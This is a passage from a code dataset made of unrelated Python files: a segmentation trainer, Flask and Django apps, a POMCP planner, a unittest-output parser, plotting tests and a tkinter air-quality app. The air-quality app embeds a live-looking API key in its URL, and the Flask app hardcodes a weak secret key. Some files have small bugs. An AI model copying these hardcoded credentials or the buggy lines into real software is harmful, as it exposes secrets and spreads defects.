classified)\n\t\t\t'''\n\t\t\tif len(position) == 3:\n\t\t\t\timg = position[0]\n\t\t\t\tx = position[1]\n\t\t\t\ty = position[2]\n\n\t\t\t\t#random sampling for 100 samples during each validation\n\t\t\t\tnumber_matched = len(img)\n\t\t\t\tchosen = 100\n\t\t\t\trandom_samples = random.sample(list(range(number_matched)),min(number_matched,chosen))\n\t\t\t\timg = img[random_samples]\n\t\t\t\tx = x[random_samples]\n\t\t\t\ty = y[random_samples]\n\t\t\t\ttarget = features[img,:,x,y]\n\t\t\t\ttarget_class = torch.argmax(target,dim=1)\n\t\t\t\t#print (target.size(),target_class.size())\n\t\t\t\tif len(self.correct_features) == 0:\n\t\t\t\t\tself.correct_features = target\n\t\t\t\telse:\n\t\t\t\t\tself.correct_features = torch.cat((self.correct_features,target))\n\n\t\t\telse:\n\t\t\t\t#there is only 1 image in the batch\n\t\t\t\tx = position[0]\n\t\t\t\ty = position[1]\n\t\t\t\t#random sampling for 100 samples during each validation\n\t\t\t\tnumber_matched = len(x)\n\t\t\t\tchosen = 100\n\t\t\t\trandom_samples = random.sample(list(range(number_matched)),min(number_matched,chosen))\n\t\t\t\tx = x[random_samples]\n\t\t\t\ty = y[random_samples]\n\t\t\t\ttarget = features[:,x,y]\n\t\t\t\tif len(self.correct_features) == 0:\n\t\t\t\t\tself.correct_features = target\n\t\t\t\telse:\n\t\t\t\t\tself.correct_features = torch.cat((self.correct_features,target))\n\n\n\n\t\tdef eval_batch(epoch,model, image, target,object_truth,edge):\n\t\t\tlabeled,objectness,edge_label = model.val_forward(image)\n\t\t\tobjectness_pred = torch.argmax(objectness,dim=1) #batch_size x 1 x H x W\n\t\t\tobject_truth = object_truth.squeeze().cuda()\n\t\t\tpred = torch.argmax(labeled,dim=1)+2 #batch_size x 1 x H x W\n\t\t\tpred = objectness_pred * pred\n\t\t\ttarget = target.squeeze().cuda()\n\t\t\n\t\t\tedge_pred = torch.argmax(edge_label,dim=1)\n\t\t\tedge = edge.squeeze().cuda()\n\n\t\t\tedge_correct,edge_labeled,edge_correct_classified = utils.batch_pix_accuracy(edge_pred.data,edge)\n\t\t\tcorrect, cat_labeled,correct_classified = utils.batch_pix_accuracy(pred.data, target)\n\n\t\t\tcorrect_object,labeled_object,correct_classified_object = utils.batch_pix_accuracy(objectness_pred.data,object_truth)\n\t\t\t# if epoch > 5:\n\t\t\tcollect_features(labeled,correct_classified,pred)\n\t\t\tself.build_weibull_model()\n\t\t\tinter, union = utils.batch_intersection_union(pred.data, target, self.nclass)\n\t\t\treturn correct, cat_labeled, inter, union, correct_object, labeled_object,edge_correct,edge_labeled\n\n\t\t\n\n\t\tis_best = False\n\t\tself.model.eval()\n\t\ttotal_inter, total_union, total_correct, total_label, total_object,total_object_label,total_edge,total_edge_label = 0, 0, 0, 0, 0, 0, 0, 0\n\t\ttbar = tqdm(self.valloader, desc='\\r')\n\t\tfor i, (image,labels,objectness,edge) in enumerate(tbar):\n\t\t\timage = image.type(torch.cuda.FloatTensor)\n\t\t\tif torch_ver == \"0.3\":\n\t\t\t\timage = Variable(image, volatile=True)\n\t\t\t\tcorrect, labeled, inter, union, correct_object,labeled_object,edge_correct,edge_labeled = eval_batch(self.model, image, labels,objectness,edge)\n\t\t\telse:\n\t\t\t\twith torch.no_grad():\n\t\t\t\t\tcorrect, labeled, inter, union, correct_object,labeled_object,edge_correct,edge_labeled = eval_batch(epoch,self.model, image, labels,objectness,edge)\n\n\t\t\ttotal_correct += correct\n\t\t\ttotal_label += labeled\n\t\t\ttotal_inter += inter\n\t\t\ttotal_union += union\n\t\t\ttotal_object += correct_object\n\t\t\ttotal_object_label += labeled_object\n\t\t\ttotal_edge += edge_labeled\n\t\t\ttotal_edge_label += edge_labeled\n\t\t\tpixAcc = 1.0 * total_correct / (np.spacing(1) + total_label)\n\t\t\tobjAcc = 1.0 * total_object / (np.spacing(1) + total_object_label)\n\t\t\tedgAcc = 1.0 * total_edge / (np.spacing(1) + total_edge_label)\n\t\t\tIoU = 1.0 * total_inter / (np.spacing(1) + total_union)\n\t\t\tmIoU = IoU.mean()\n\t\t\ttbar.set_description(\n\t\t\t\t'pixAcc: %.3f, mIoU: %.3f, objAcc: %.3f, edgAcc: %.3f' % (pixAcc, mIoU,objAcc,edgAcc))\n\t\tnew_pred = (pixAcc + mIoU + objAcc + edgAcc)/4\n\t\tlog_file.write(\"Epoch:{}, pixAcc:{:.3f}, mIoU:{:.3f}, Overall:{:.3f}\\n\".format(epoch,pixAcc,mIoU,new_pred))\n\t\tif new_pred >= self.best_pred:\n\t\t\tis_best = True\n\t\t\tself.best_pred = new_pred\n\t\t\tutils.save_checkpoint({\n\t\t\t\t'epoch': epoch + 1,\n\t\t\t\t'state_dict': self.model.state_dict(),\n\t\t\t\t'optimizer': self.optimizer.state_dict(),\n\t\t\t\t'best_pred': new_pred,\n\t\t\t}, self.args, is_best,self.filename,\"checkpoint_{}.pth.tar\".format(epoch+1))\n\n\tdef build_gaussian_model(self):\n\t\toccurrance = self.corresponding_class.cpu().numpy()\n\t\t(category,occurrance) = np.unique(occurrance,return_counts=True)\n\t\tclass_mean = {}\n\t\tclass_var = {}\n\t\tif not os.path.exists(\"../models/weibull\"):\n\t\t\tos.mkdir(\"../models/weibull\")\n\t\tfor i in range(len(self.corresponding_class)):\n\t\t\ttarget_category = self.corresponding_class[i]\n\t\t\tif target_category not in class_mean:\n\t\t\t\tclass_mean[\"mean_{}\".format(target_category)] = self.correct_features[i,:]\n\t\t\telse:\n\t\t\t\tclass_mean[\"mean_{}\".format(target_category)] += self.correct_features[i,:]\n\n\t\t#calculate mean for each class\n\t\tfor i in range(len(category)):\n\t\t\tclass_mean[\"mean_{}\".format(category[i])] /= occurrance[i]\n\n\t\t#calculate var for each class\n\t\tfor i in category:\n\t\t\ttarget_id = i\n\t\t\ttarget_category = (self.corresponding_class == target_id).nonzero()\n\t\t\tif len(target_category) != 0: #that class exists in our\n\t\t\t\tmatched_features = self.correct_features[target_category,:].cpu().numpy().squeeze(axis=1)\n\t\t\t\tclass_var[\"cov_{}\".format(target_id)] = 1/(len(target_category) - 1) * np.dot(matched_features.T,matched_features)\n\n\t\ttorch.save(class_mean,os.path.join(\"../models/weibull\",\"{}.pt\".format(self.filename)))\n\n\tdef build_weibull_model(self):\n\t\tif not os.path.exists(\"../models/weibull\"):\n\t\t\tos.mkdir(\"../models/weibull\")\n\t\ttorch.save(self.correct_features,os.path.join(\"../models/weibull\",\"{}.pt\".format(self.filename)))\n\n\n\ndef get_class_lists():\n\tdata = open(\"logs/resnet.txt\",'r').readlines()\n\tclass_info = []\n\tfor i in data:\n\t\tfilename,classes = i.split('|')\n\t\tclasses = classes.strip().split(',')\n\t\tclass_info.append((filename,classes))\n\treturn class_info\n\n\nif __name__ == \"__main__\":\n\targs = Options().parse()\n\ttorch.manual_seed(args.seed)\n\tclass_info = get_class_lists()\n\troot = \"logs/{}\".format(args.size)\n\tif not os.path.exists(root):\n\t\tos.mkdir(root)\n\t# for i in range(len(class_info)-1,0,-1):\n\tfor i in range(2,5):\n\t\tid_info = Category(class_info[i][1])\n\t\ttrainer = Trainer(class_info[i],id_info,args)\n\t\tfilename = class_info[i][0]\n\t\tprint (filename)\n\t\ttrain_log_file = open(os.path.join(root,\"training_{}_log.txt\".format(filename)),'w')\n\t\tval_log_file = open(os.path.join(root,\"val_{}_log.txt\".format(filename)),'w')\n\t\tprint('Starting Epoch:', trainer.args.start_epoch)\n\t\tprint('Total Epoches:', trainer.args.epochs)\n\t\tfor epoch in range(trainer.args.start_epoch, trainer.args.epochs):\n\t\t \ttrainer.training(epoch,train_log_file)\n\t\t \tif not trainer.args.no_val:\n\t\t \t\ttrainer.validation(epoch,val_log_file)\n\t\ttrainer.build_weibull_model()\n\t\ttrain_log_file.close()\n\t\tval_log_file.close()\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":15593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"192117166","text":"from flask import Flask, request\nfrom flask_restful import Resource, Api\nfrom flask_jwt import JWT, jwt_required\nfrom security import authorize, identity\n\napp = Flask(__name__)\napp.secret_key = \"shri\"\napi = Api(app)\njwt = JWT(app, authenticate, identity)\n\nitems = []\n\n\nclass Item(Resource):\n @jwt_required()\n def get(self, name):\n item = next(filter(lambda x: x['name'] == name, items), None)\n return item if item else {'message': 'Item not found'}, 404\n\n def post(self, name):\n item = {'name': name, 'price': 12.99}\n items.append(item)\n return item, 201\n\n\napi.add_resource(Item, '/item/')\n\napp.run(port=5000)\n","sub_path":"sec4/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"546478631","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.home, name=\"home\"),\n path(\"newUser/\", views.newUser, name=\"newUser\"),\n path(\"allRecipes/\", views.allRecipes, name=\"allRecipes\"),\n path(\"newRecipe/\", views.newRecipe, name=\"newRecipe\"),\n path(\"editRecipe//\", views.editRecipe, name=\"editRecipe\"),\n path(\"deleteRecipe//\", views.deleteRecipe, name=\"deleteRecipe\"),\n path(\"recipeDescription/\", views.recipeDescription, name=\"recipeDescription\"),\n]\n","sub_path":"RecipeApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"253069805","text":"from flask import request\nimport lib.es as es\nimport web.util.tools as tools\n\ndef get(p):\n # Load Action\n action_id = p['nav'][-1]\n p['action'] = es.get(p['host'], 'core_task', 'action', action_id)\n if not p['action']:\n return tools.alert('not valid action id - {}'.format(action_id))\n # update\n es.update(p['host'], 'core_task', 'action', p['action']['id'], {\n 'enabled': \"Yes\"\n })\n es.flush(p['host'], 'core_task')\n\n return tools.redirect(request.referrer)\n","sub_path":"src/web/modules/task/controllers/action/enable.py","file_name":"enable.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"565251855","text":"from youtube3.youtube_client import *\nfrom oauth2client.tools import argparser\nimport os\nimport logging\n\nif __name__ == \"__main__\":\n argparser.add_argument('--playlistSource')\n argparser.add_argument('--playlistTarget')\n argparser.add_argument('--start')\n argparser.add_argument('--end')\n\n youtube = YoutubeClient(os.path.join(os.path.dirname(__file__), 'client_secrets.json'), True)\n\n args = argparser.parse_args()\n\n playlist_source = args.playlistSource\n playlist_target = args.playlistTarget\n start = int(args.start)\n end = int(args.end)\n\n youtube.copy_to_playlist(playlist_source, playlist_target, start, end)\n youtube.delete_from_playlist(playlist_source, start, end)\n","sub_path":"samples/move_videos_playlist.py","file_name":"move_videos_playlist.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"274730063","text":"import pandas as pd\nimport numpy as np\nimport datetime as dt\nimport util\nimport matplotlib.pyplot as plt\n\n## Pranshav Thakkar\n## pthakkar7\n\ndef author():\n return 'pthakkar7'\n\ndef sma(prices, lookback=14):\n normed_prices = prices / prices.iloc[0]\n sma = prices.rolling(window=lookback, min_periods=1).mean()\n psma = sma / normed_prices\n return sma\n\n\ndef bbp(prices, sma, lookback=14):\n normed_prices = prices / prices.iloc[0]\n rolling_std = prices.rolling(window=lookback, min_periods=lookback).std()\n top_bb = sma + (2 * rolling_std)\n bottom_bb = sma - (2 * rolling_std)\n bbp = (prices - bottom_bb) / (top_bb - bottom_bb)\n return bbp\n\ndef momentum(prices, lookback=14):\n #momentum = prices[t]/prices[t-n] -1, where n is the lookback window (number of days)\n normed_prices = prices / prices.iloc[0]\n momentum = pd.DataFrame(data=0, index=prices.index, columns=['Momentum'])\n momentum.ix[lookback:] = prices.ix[lookback:] / prices.values[:-lookback] - 1\n return momentum\n\nif __name__ == \"__main__\":\n syms = ['JPM']\n start_date = dt.datetime(2008, 1, 1)\n end_date = dt.datetime(2009, 12, 31)\n dates = pd.date_range(start_date, end_date)\n prices = util.get_data(syms, dates)\n prices = prices[syms]\n normed_prices = prices / prices.ix[0, :]\n\n SMA = sma(prices)\n bbp(prices, SMA)\n momentum(prices)\n","sub_path":"strategy_learner/indicators.py","file_name":"indicators.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"93135483","text":"import numpy as np\nimport torch\nimport random\nfrom model import Net\nfrom data_loader import data_loader\nimport torch.nn.functional as F\n\n\ndef test(model, data):\n\n model.eval()\n\n logits, accs = model(data), []\n test_loss = F.nll_loss(model(data)[data.test_mask], data.y[data.test_mask]).detach().cpu().numpy()\n\n for _, mask in data('train_mask', 'test_mask'):\n pred = logits[mask].max(1)[1]\n acc = pred.eq(data.y[mask]).sum().item() / mask.sum().item()\n accs.append(acc)\n return [test_loss] + accs\n\n\ndef train(model, optimizer, data):\n\n model.train()\n\n losses = []\n for epoch in range(1, 200):\n optimizer.zero_grad()\n loss = F.nll_loss(model(data)[data.train_mask], data.y[data.train_mask])\n loss.backward()\n optimizer.step()\n train_loss = loss.detach().cpu().numpy()\n log = 'Epoch: {:03d}, train_loss: {:.3f}, test_loss:{:.3f}, train_acc: {:.2f}, test_acc: {:.2f}'\n test_loss = test(model, data)[0]\n losses.append([train_loss, test_loss])\n test_loss, train_acc, test_acc = test(model, data)\n print(log.format(epoch, train_loss, test_loss, train_acc, test_acc))\n\n\ndef main():\n\n data = data_loader()\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n model, data = Net().to(device), data.to(device)\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)\n\n train(model, optimizer, data)\n test(model, data)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"123114722","text":"from django.shortcuts import render_to_response\nfrom django.template import RequestContext\n\n\ndef handlebar_redeem(request, promo_code=None):\n context = {\n \"promo_img\" : \"\",\n \"promo_title\" : \"\",\n \"promo_restriction\" : \"\",\n \"promo_code\" : promo_code if promo_code else \"\",\n\n }\n if not promo_code or promo_code[0].lower() == 'a':\n context[\"promo_img\"] = \"cake1.png\"\n context[\"promo_title\"] = \"Flat $5/cup\"\n context[\"promo_restriction\"] = \"Offer valid till Friday 10/4/2013\"\n else:\n context[\"promo_img\"] = \"cake2.png\"\n context[\"promo_title\"] = \"30% OFF\"\n context[\"promo_restriction\"] = \"Offer valid till Sunday 10/6/2013\"\n return render_to_response(\n 'clients/handlebar/redeem.html',\n context,\n context_instance=RequestContext(request)\n )\n","sub_path":"main/views/clients.py","file_name":"clients.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"71078439","text":"def hash(word):\n l = len(word)\n if l == 0: return 0\n elif l == 1: return ord(word[0])\n elif l == 2: return ord(word[0]) * 100 + ord(word[-1])\n else: return l * 10000 + ord(word[0]) * 100 + ord(word[-1])\n\nclass ValidWordAbbr(object):\n def __init__(self, dictionary):\n \"\"\"\n initialize your data structure here.\n :type dictionary: List[str]\n \"\"\"\n m = {}\n for word in dictionary:\n h = hash(word)\n s = m.get(h,set())\n s.add(word)\n m[h] = s\n self.m = m\n\n def isUnique(self, word):\n \"\"\"\n check if a word is unique.\n :type word: str\n :rtype: bool\n \"\"\"\n h = hash(word)\n m = self.m\n return h not in m or len(m[h]) == 1 and word in m[h]\n\n# Your ValidWordAbbr object will be instantiated and called as such:\n# vwa = ValidWordAbbr(dictionary)\n# vwa.isUnique(\"word\")\n# vwa.isUnique(\"anotherWord\")\n","sub_path":"288 Unique Word Abbreviation.py","file_name":"288 Unique Word Abbreviation.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"176048565","text":"from env.history import History\n\nfrom solver.solver import Solver\nfrom solver.pomcp.obs_node import ObservationNode\nfrom solver.pomcp.action_node import ActionNode\n\nfrom util.console import console\nfrom util.divider import print_divider\n\nimport numpy as np\n\nmodule = \"POMCP\"\n\n\nclass POMCP(Solver):\n \"\"\"\n Solver: POMCP\n \"\"\"\n online = True\n\n def __init__(self, env, args):\n # Environment to be solved\n self._env = env\n\n # Name of the solver\n self.name = args['solver']\n\n # Discount factor of the model\n self.discount = args['discount']\n\n # Flag of whether to print step messages\n self.quiet = args['quiet']\n\n # Num of MC sims to do at each belief node\n self.n_sims = args['n_sims']\n\n # Num of state particles to generate for root\n self.n_start_states = args['n_start_states']\n\n # Lower bound on num of particles a belief\n self.min_particle_count = args['min_particle_count']\n # Upper bound on num of particles a belief\n self.max_particle_count = args['max_particle_count']\n\n # Max depth for a DFS of the belief search tree in MCTS\n self.max_depth = args['max_depth']\n\n # Coefficient for UCB algorithm used by MCTS\n self.uct_c = args['uct_coefficient']\n\n # Function pointer\n self.evaluation_fn = self._rollout\n self.rollout_policy = self._random_policy\n\n def reset_for_epoch(self):\n \"\"\"Initialize the solver before solving the game.\"\"\"\n pass\n\n def play_game(self):\n \"\"\"Play the entire game for one epoch.\"\"\"\n\n state = self._env.initial_state()\n obs = self._env.initial_obs()\n # Get the first non-chance node as the root\n while state.is_chance():\n legal_actions, prob_list = state.chance_outcomes()\n action = np.random.choice(legal_actions, p=prob_list)\n step_record = self._env.step(state, action)\n state = step_record.next_state\n obs = step_record.obs\n\n # Set root node and the corresponding particle bin\n root = ObservationNode(obs, depth=0)\n for _ in range(self.n_start_states):\n possible_states, prob_list = self._env.possible_states(obs)\n particle = np.random.choice(possible_states, p=prob_list)\n root.particle_bin.append(particle)\n\n history = History()\n\n # Solve the game by step until a terminal state\n while not state.is_terminal() and root.depth < self.max_depth:\n assert not state.is_chance()\n # Get an action by planning\n action = self._solve_one_step(root)\n # Get step result\n step_record = self._env.step(state, action)\n\n # Show the step\n if not self.quiet:\n print_divider('small')\n console(3, module, \"Step: \" + str(root.depth))\n step_record.show()\n\n history.append(step_record)\n state = step_record.next_state\n\n # Get the next non-chance node\n while state.is_chance():\n legal_actions, prob_list = state.chance_outcomes()\n chance_action = np.random.choice(legal_actions, p=prob_list)\n step_record = self._env.step(state, chance_action)\n\n root = root.find_child(action).find_child(step_record.obs)\n\n return history\n\n def _solve_one_step(self, root):\n \"\"\"Solve and return an action at some state.\"\"\"\n\n # Do simulations for n times\n for _ in range(self.n_sims):\n # Sample an initial state for a simulation\n state = np.random.choice(root.particle_bin)\n\n # Selection and Expansion\n visit_path, record_history, working_state = self._apply_tree_policy(\n state, root)\n\n # Evaluation\n ev_return = self.evaluation_fn(working_state)\n\n # Back up\n for action_node, obs_node in reversed(visit_path):\n step_record = record_history.pop()\n\n obs_node.visit_count += 1\n obs_node.particle_bin.append(step_record.next_state)\n\n action_node.visit_count += 1\n ev_return = step_record.reward + self.discount * ev_return\n action_node.total_reward += ev_return\n\n root.visit_count += 1\n\n return root.best_child().action\n\n def _apply_tree_policy(self, state, root):\n \"\"\"Select nodes according to the tree policy in the search tree.\"\"\"\n\n visit_path = []\n record_history = History()\n working_state = state\n current_node = root\n depth = root.depth\n\n # Select in the tree until a new node or a terminal node or reaching the max depth\n while current_node.visit_count > 0 and not working_state.is_terminal() \\\n and depth <= root.depth + self.max_depth:\n # For a new node, initialize its children, then choose a child as normal\n if not current_node.children:\n legal_actions = working_state.legal_actions()\n # Reduce bias from move generation order.\n np.random.shuffle(legal_actions)\n current_node.children = [\n ActionNode(action, depth) for action in legal_actions\n ]\n\n # Choose a child by maximizing uct value\n action_child = current_node.find_child_by_uct(self.uct_c)\n current_node = action_child\n\n # Get the next non-chance step result\n step_record = self._env.step(working_state, action_child.action)\n while step_record.next_state.is_chance():\n legal_actions, prob_list = state.chance_outcomes()\n chance_action = np.random.choice(legal_actions, p=prob_list)\n step_record = self._env.step(state, chance_action)\n depth += 1\n\n # Turn to the obs child node, if not exists, append a new node\n obs_child = current_node.find_child(step_record.obs)\n if not obs_child:\n obs_child = ObservationNode(step_record.obs, depth)\n current_node.children.append(obs_child)\n\n current_node = obs_child\n working_state = step_record.next_state\n\n # Add node to visit path and return it\n visit_path.append((action_child, obs_child))\n record_history.append(step_record)\n\n return visit_path, record_history, working_state\n\n def _rollout(self, state):\n \"\"\"Rollout method to evaluate a state.\"\"\"\n\n history = History()\n\n # Rollout to terminal state and return the discounted reward\n while not state.is_terminal():\n if state.is_chance(): # is chance\n legal_actions, prob_list = state.chance_outcomes()\n action = np.random.choice(legal_actions, p=prob_list)\n state = self._env.step(state, action).next_state\n else: # is not chance\n action = self.rollout_policy(state)\n step_record = self._env.step(state, action)\n state = step_record.next_state\n\n history.append(step_record)\n\n return history.get_return(self.discount)\n\n def _random_policy(self, state):\n \"\"\"Random policy.\"\"\"\n return np.random.choice(state.legal_actions())\n","sub_path":"solver/pomcp/pomcp.py","file_name":"pomcp.py","file_ext":"py","file_size_in_byte":7417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"500225768","text":"class Solution(object):\n def hIndex(self, citations):\n n = len(citations)\n\n # Create a new vector of size n+1.\n # The h-index can be at most n, when all of his papers have citations >= n.\n count = [0] * (n + 1)\n for citation in citations:\n # Put all citation > n in the same bucket.\n if citation > n:\n count[n] += 1\n else:\n count[citation] += 1\n\n # Scan citation from right (n) to left (0).\n papers = 0\n for citation in range(n, -1, -1):\n papers += count[citation]\n if papers >= citation:\n return citation\n return 0\n","sub_path":"algorithms/HIndex/HIndex.py","file_name":"HIndex.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"617057885","text":"import pytest\nimport pandas as pd\nfrom galeritas.precision_and_recall_by_probability_threshold import plot_precision_and_recall_by_probability_threshold\n\n\n@pytest.fixture(scope='module')\ndef load_data():\n data = pd.read_csv(\"tests/data/titanic.csv\")\n\n return data\n\n\n@pytest.mark.mpl_image_compare\ndef test_should_generate_plot_precision_and_recall_by_probability_threshold_correctly(load_data):\n df = load_data\n\n return plot_precision_and_recall_by_probability_threshold(\n df,\n prediction_column_name='predict_proba',\n target_name='survived',\n n_trials=5\n )\n\n\ndef test_should_return_figure_with_axes_ecdf(load_data):\n df = load_data\n\n fig = plot_precision_and_recall_by_probability_threshold(\n df,\n prediction_column_name='predict_proba',\n target_name='survived',\n n_trials=5\n )\n\n assert fig.get_axes() is not None\n\n\ndef test_should_raise_exception_when_colors_less_than_necessary(load_data):\n df = load_data\n\n with pytest.raises(KeyError):\n plot_precision_and_recall_by_probability_threshold(\n df,\n prediction_column_name='predict_proba',\n target_name='survived',\n colors=['blue']\n )\n\n\ndef test_should_raise_exception_when_target_is_not_binary(load_data):\n df = load_data\n\n with pytest.raises(ValueError):\n plot_precision_and_recall_by_probability_threshold(\n df,\n prediction_column_name='predict_proba',\n target_name='class'\n )\n","sub_path":"tests/test_precision_and_recall_by_probability_threshold.py","file_name":"test_precision_and_recall_by_probability_threshold.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"347438739","text":"# -*- coding: utf-8 -*-\n#\n# Copyright © 2017 Spyder Project Contributors\n# Licensed under the terms of the MIT License\n# (see LICENSE.txt for details)\n\"\"\"Support for unittest framework.\"\"\"\n\n# Standard library imports\nimport re\n\n# Local imports\nfrom spyder_unittest.backend.runnerbase import Category, RunnerBase, TestResult\n\n\nclass UnittestRunner(RunnerBase):\n \"\"\"Class for running tests with unittest module in standard library.\"\"\"\n\n module = 'unittest'\n name = 'unittest'\n\n def create_argument_list(self):\n \"\"\"Create argument list for testing process.\"\"\"\n return ['-m', self.module, 'discover', '-v']\n\n def finished(self):\n \"\"\"\n Called when the unit test process has finished.\n\n This function reads the results and emits `sig_finished`.\n \"\"\"\n output = self.read_all_process_output()\n testresults = self.load_data(output)\n self.sig_finished.emit(testresults, output)\n\n def load_data(self, output):\n \"\"\"\n Read and parse output from unittest module.\n\n Returns\n -------\n list of TestResult\n Unit test results.\n \"\"\"\n res = []\n lines = output.splitlines()\n line_index = 0\n test_index = None\n\n while line_index < len(lines):\n data = self.try_parse_result(lines[line_index])\n if data:\n if data[2] == 'ok':\n cat = Category.OK\n elif data[2] == 'FAIL' or data[2] == 'ERROR':\n cat = Category.FAIL\n else:\n cat = Category.SKIP\n name = '{}.{}'.format(data[1], data[0])\n tr = TestResult(category=cat, status=data[2], name=name,\n message=data[3])\n res.append(tr)\n line_index += 1\n test_index = -1\n continue\n\n data = self.try_parse_exception_header(lines, line_index)\n if data:\n line_index = data[0]\n test_index = next(\n i for i, tr in enumerate(res)\n if tr.name == '{}.{}'.format(data[2], data[1]))\n\n data = self.try_parse_footer(lines, line_index)\n if data:\n line_index = data\n test_index = -1\n continue\n\n if test_index is not None:\n res[test_index].extra_text.append(lines[line_index] + '\\n')\n line_index += 1\n\n return res\n\n def try_parse_result(self, line):\n \"\"\"\n Try to parse a line of text as a test result.\n\n Returns\n -------\n tuple of str or None\n If line represents a test result, then return a tuple with four\n strings: the name of the test function, the name of the test class,\n the test result, and the reason (if no reason is given, the fourth\n string is empty). Otherwise, return None.\n \"\"\"\n regexp = (r'([^\\d\\W]\\w*) \\(([^\\d\\W][\\w.]*)\\) \\.\\.\\. '\n '(ok|FAIL|ERROR|skipped|expected failure|unexpected success)'\n \"( '([^']*)')?\\Z\")\n match = re.match(regexp, line)\n if match:\n msg = match.groups()[4] or ''\n return match.groups()[:3] + (msg, )\n else:\n return None\n\n def try_parse_exception_header(self, lines, line_index):\n \"\"\"\n Try to parse the header of an exception in unittest output.\n\n Returns\n -------\n (int, str, str) or None\n If an exception header is parsed successfully, then return a tuple\n with the new line index, the name of the test function, and the\n name of the test class. Otherwise, return None.\n \"\"\"\n if lines[line_index] != '':\n return None\n if not all(char == '=' for char in lines[line_index + 1]):\n return None\n regexp = r'\\w+: ([^\\d\\W]\\w*) \\(([^\\d\\W][\\w.]*)\\)\\Z'\n match = re.match(regexp, lines[line_index + 2])\n if not match:\n return None\n if not all(char == '-' for char in lines[line_index + 3]):\n return None\n return (line_index + 4, ) + match.groups()\n\n def try_parse_footer(self, lines, line_index):\n \"\"\"\n Try to parse footer of unittest output.\n\n Returns\n -------\n int or None\n New line index if footer is parsed successfully, None otherwise\n \"\"\"\n if lines[line_index] != '':\n return None\n if not all(char == '-' for char in lines[line_index + 1]):\n return None\n if not re.match(r'^Ran [\\d]+ tests? in', lines[line_index + 2]):\n return None\n if lines[line_index + 3] != '':\n return None\n return line_index + 5\n","sub_path":"spyder_unittest/backend/unittestrunner.py","file_name":"unittestrunner.py","file_ext":"py","file_size_in_byte":4846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"386611164","text":"\"\"\"List utility functions part 2.\"\"\"\n\n__author__ = \"730389123\"\n\n\ndef only_evens(x: list[int]) -> list[int]:\n \"\"\"Pulls only even numbers from list.\"\"\"\n y: list[int] = list()\n i: int = 0\n while i < len(x):\n if x[i] % 2 == 0:\n y.append(x[i])\n i += 1\n return y\n\n\ndef sub(x: list[int], y: int, z: int) -> list[int]:\n \"\"\"Creates a sublist of a master list limited to specific integers.\"\"\"\n a: list[int] = list()\n i: int = 0\n while i < len(x):\n if x[i] > y and x[i] <= z:\n a.append(x[i])\n i += 1\n return a\n\n\ndef concat(x: list[int], y: list[int]) -> list[int]:\n \"\"\"Combines two lists.\"\"\"\n z: list[int] = list()\n i: int = 0\n j: int = 0\n while i < len(x):\n z.append(x[i])\n i += 1 \n while j < len(y):\n z.append(y[j])\n j += 1\n return z","sub_path":"exercises/ex05/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"636688321","text":"from tkinter import *\nfrom PIL import ImageTk, Image\nimport requests\nimport json\n\n\nroot=Tk()\nroot.title('Weather app')\nroot.geometry(\"600x100\")\n\n\ndef zipplookup():\n #zipp.get()\n #zipplabel=Label(root, text=zipp.get())\n #zipplabel.grid(row=1,column=0, columnspan=2)\n try:\n api_request= requests.get(\"http://www.airnowapi.org/aq/observation/zipCode/current/?format=application/json&zipCode=\"+ zipp.get()+\"&distance=5&API_KEY=EE407C24-889D-4511-8804-DF483F0A4786\")\n api=json.loads(api_request.content)\n city=api[0]['ReportingArea']\n quality=api[0]['AQI']\n category=api[0]['Category']['Name']\n\n #if and else statement\n if category == \"Good\":\n weather_color= \"#0C0\"\n elif category == \"Moderate\":\n weather_color= \"#FFFF00\"\n elif category == \"Unhealthy for Sensitive Groups\":\n weather_color= \"#ff9900\"\n elif category == \"Unhealthy\":\n weather_color= \"#FF0000\"\n elif category == \"Very Unhealthy\":\n weather_color= \"#990066\"\n elif category == \"Hazardous\":\n weather_color= \"#660000\"\n \n root.configure(background=weather_color)\n\n #labeling\n mylabel= Label(root,text=city + \" Air quality value is : \" + str(quality)+ \" \" +\" which is \"+ category, font=(\"Helvetica\",20),background=weather_color)\n mylabel.grid(row=1,column=0, columnspan=2)\n except Exception as e:\n api= \"Error....\"\n\n\nzipp=Entry(root)\nzipp.grid(row=0,column=0,stick=W+E+N+S)\n\nzippButton=Button(root, text=\"Zip code here\", 